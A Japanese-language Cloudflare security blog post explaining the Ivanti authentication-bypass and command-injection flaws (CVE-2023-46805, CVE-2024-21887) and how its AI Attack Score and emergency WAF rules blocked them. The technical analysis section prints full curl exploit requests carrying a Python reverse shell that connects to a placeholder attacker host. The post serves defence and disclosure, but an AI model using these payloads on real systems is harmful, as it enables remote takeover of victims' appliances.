ほとんどのWAFプロバイダーは、脆弱性が発見され悪用された後に対応するために、リアクティブな手法に頼っています。しかし、私たちは潜在的なリスクにプロアクティブに対処し、それを達成するためにAIが有用であることと考えています。本日は、致命的な脆弱性(CVE-2023-46805およびCVE-2024-21887)の最近の事例と、AIを活用したCloudflareのAttack Score、およびWAFの緊急ルールがこの脅威にどのように対抗したかをご紹介します。
脅威:CVE-2023-46805およびCVE-2024-21887
Ivanti製品に影響を及ぼす 認証バイパス(CVE-2023-46805)およびコマンドインジェクションの脆弱性(CVE-2024-21887)が最近公開され、 AttackerKB によって分析されました。この脆弱性は、影響を受けるシステムへの不正アクセスやコントロールにつながる重大なリスクをもたらします。以下のセクションでは、この脆弱性がどのように悪用されるかについて説明します。
テクニカル分析
AttackerKBで説明したように、攻撃者は以下のようなコマンドを使って、特別に細工したリクエストを標的システムに送る場合があります:
このコマンドは、通常認証で保護されているエンドポイント**(/license/keys-status/)をターゲットにします。しかし、攻撃者はURLを操作して/api/v1/totp/user-backup-code/../../license/keys-status/**を含めることで、認証をバイパスすることができます。この手法はディレクトリトラバーサルとして知られています。
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
コマンドのURLエンコードされた部分は、Pythonのリバースシェルにデコードされ、以下のようになります:
Pythonリバースシェルは、攻撃者が標的システムを制御するための方法です。
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
この脆弱性は、システムがnode_nameパラメータを処理する方法で存在します。攻撃者がnode_nameの値を制御できると、システムにコマンドを入力できるようになってしまいます。
「node_name」について:'node_name' パラメータは、エンドポイント /API/v1/license/keys-status/path:node_name のコンポーネントです。このエンドポイントが、主に問題が発生する場所です。
攻撃者はURIパス**/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;**にGETリクエストを送ることができます。CMDは攻撃者の実行対象の任意のコマンドです。セミコロンを使うことで、リクエストでこのコマンドを指定することができます。コマンドがシステムによって正しく処理されるように、URLエンコードされている必要があります。
AttackerKBのブログ記事に詳述されているように、別のコードインジェクションの脆弱性が確認されています。今回は、システムの別の部分で見つかった認証されたコマンドインジェクションが関係しています。
最初のコマンドインジェクションで使われたのと同じPythonのリバースシェルペイロードをここで使うことができ、脆弱性をトリガーするJSON構造を形成します。ペイロードはJSONなので、URLエンコードする必要はありません:
API/v1/system/maintenance/archiving/cloud-server-test-connectionエンドポイントは認証を必要としますが、攻撃者は、先に述べたディレクトリトラバーサルの脆弱性と組み合わせることで、これを回避することができます。攻撃者は、 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connectionを利用して認証されていないURIパスを構築し、このエンドポイントに到達し、脆弱性を悪用することができます。
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
認証されていないオペレーティングシステムコマンドを実行するために、攻撃者は次のようなcurlリクエストを使います:
Cloudflareによるプロアクティブな防御
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Cloudflare WAFは、WAF Attack Scoreと呼ばれるAIを搭載した追加レイヤーによってサポートされており、攻撃による迂回が発表される前にキャッチすることを目的として構築されています。Attack Scoreは、リクエストが悪意のあるものかどうかをスコアで示します。XSS、SQLi、そしていくつかのRCEのバリエーション(コマンドインジェクション、ApacheLog4Jなど)に対応しています。スコアの範囲は 1 から 99 で、低いほど悪意のあるリクエストです。一般的に、20以下のスコアのリクエストは悪意があるとみなされます。
Cloudflareのダッシュボード(Security> Events)を使って、上記のCVE-2023-46805とCVE-2024-21887の悪用事例の結果を見てみましょう。Attack Scoreの分析結果は3つの個別スコアで構成され、それぞれ特定の攻撃カテゴリとの関連性を示すラベルが付けられています。また、これら3つのスコアの複合的な影響を考慮したグローバルスコア(「WAF Attack Score」 )もあります。場合によっては、攻撃がカテゴリに一致する場合、グローバルスコアはサブスコアの1つに影響されます。ここでは、支配的なサブスコアがリモートコード実行「WAF RCE Attack Score」であることがわかります。
また、認証されていないオペレーティングシステムコマンドのリクエストについても、AIモデルから「WAF Attack Score: 19」を受け取りました。なお、スコア例は固定された数字ではなく、攻撃のバリエーションによって変化する可能性があります。
ここでの朗報は、WAF Attack Score を有効にしているエンタープライズとビジネスプランのお客様は、低いスコア(例 :[cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
)または(例:[cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
")をブロックするルールとともに、ビジネスの場合は、脆弱性が発表される前から、これまでにテストされた潜在的な脆弱性の悪用からすでに保護されていたということです。
緊急ルールのデプロイ
この重大な脆弱性に対応するため、Cloudflareは概念実証の公開から24時間以内の2024年1月17日に緊急ルールをリリースしました。これらのルールはWAFのマネージドルールの一部であり、特にCVE-2023-46805と、同じくIvanti製品に関連する追加の脆弱性CVE-2024-21887がもたらす脅威をターゲットとしています。"Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887"と名付けられたこのルールは、これらの脆弱性を悪用しようとする試みをブロックするために開発され、Cloudflareユーザーに追加のセキュリティレイヤーを提供します。
これらのルールを導入して以来、私たちは高いレベルの活動を記録しています。本稿執筆時点で、このルールは18万回以上発動しています。
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
ルールID
説明
デフォルトアクション
新しいマネージドルール…34ab53c5
Ivanti - 認証バイパス、コマンドインジェクション - CVE:CVE-2023-46805、CVE:CVE-2024-21887
ブロック
従来のマネージドルール100622
Ivanti - 認証バイパス、コマンドインジェクション - CVE:CVE-2023-46805、CVE:CVE-2024-21887
ブロック
意味合いとベストプラクティス
CloudflareのCVE-2023-46805とCVE-2024-21887への対応は、強固なセキュリティ対策を講じることの重要性を強調しています。Cloudflareサービス、特にWAFを使用している組織は、最適な保護を維持するために、システムが最新のルールと設定で更新されていることを確認することをお勧めします。また、Attack Scoreを利用したルールの導入も推奨しています。Attack Scoreの詳細については、アカウントチームまでお問い合わせください。
まとめ
CVE-2023-46805およびCVE-2024-21887への対応に代表されるように、AIを使用して攻撃を特定し、阻止するCloudflareのサイバーセキュリティに対するプロアクティブなアプローチは、脅威や攻撃が公開され、脆弱性が開示される前に、どのように特定できるかを浮き彫りにしています。Cloudflareは、脆弱性を継続的に監視し、迅速に対応することで、複雑化するデジタル環境においてクライアントの安全性を確保しています。